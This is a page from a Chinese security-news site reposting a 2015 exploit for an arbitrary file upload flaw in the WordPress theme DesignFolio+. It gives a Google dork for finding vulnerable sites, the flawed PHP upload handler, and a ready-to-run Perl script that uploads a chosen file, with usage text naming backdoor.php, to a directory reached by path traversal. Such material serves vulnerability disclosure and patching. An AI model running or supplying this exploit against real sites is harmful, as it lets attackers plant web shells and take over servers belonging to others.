首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
来源:smith@fbi.gov 作者:Bandicot 发布时间:2015-03-06  
#########################################################
# Exploit Title: Wordpress Theme DesignFolio+ Arbitrary File Upload Vulnerability
# Author: CrashBandicot
# Email: smith@fbi.gov
# Category: webapps/php
# Google dork: inurl:wp-content/themes/DesignFolio-Plus
#########################################################
  
Vulnerable File : upload-file.php
<?php
//Upload Security
$upload_security = md5($_SERVER['SERVER_ADDR']);
$uploaddir = base64_decode( $_REQUEST['upload_path'] ) . "/";
if( $_FILES[$upload_security] ):
        $file = $_FILES[$upload_security];
        $file = $uploaddir . strtolower(str_replace('__', '_', str_replace('#', '_', str_replace(' ', '_', basename($file['name'])))));
           
                if (move_uploaded_file( $_FILES[$upload_security]['tmp_name'], $file)):
                        if(chmod($file,0777)):
                            echo "success"
                        else:
                                echo "error".$_FILES[$upload_security]['tmp_name'];
                        endif;
                else:
                    echo "error".$_FILES[$upload_security]['tmp_name'];
                endif;
endif;
?>
  
Exploit
  
#!/usr/bin/perl
  
use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;
  
    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
  
$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
  
($target ,$file) = @ARGV;
  
die "$use" unless $ARGV[0] && $ARGV[1];
  
if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
  
my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');
  
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
  
__END__
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VFU 4.10-1.1 - Move Entry Buff
·PHPMoAdmin 1.1.2 Remote Code E
·Generic DLL Injection From Sha
·Nvidia Mental Ray Satellite Se
·Generic Web Application DLL In
·Betster 1.0.4 SQL Injection /
·HP Data Protector 8.10 Remote
·Sagem F@st 3304-V2 - Telnet Cr
·SQLite3 3.8.6 - Controlled Mem
·ElasticSearch Unauthenticated
·Symantec Web Gateway 5 restore
·Adobe Flash Player ByteArray U
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved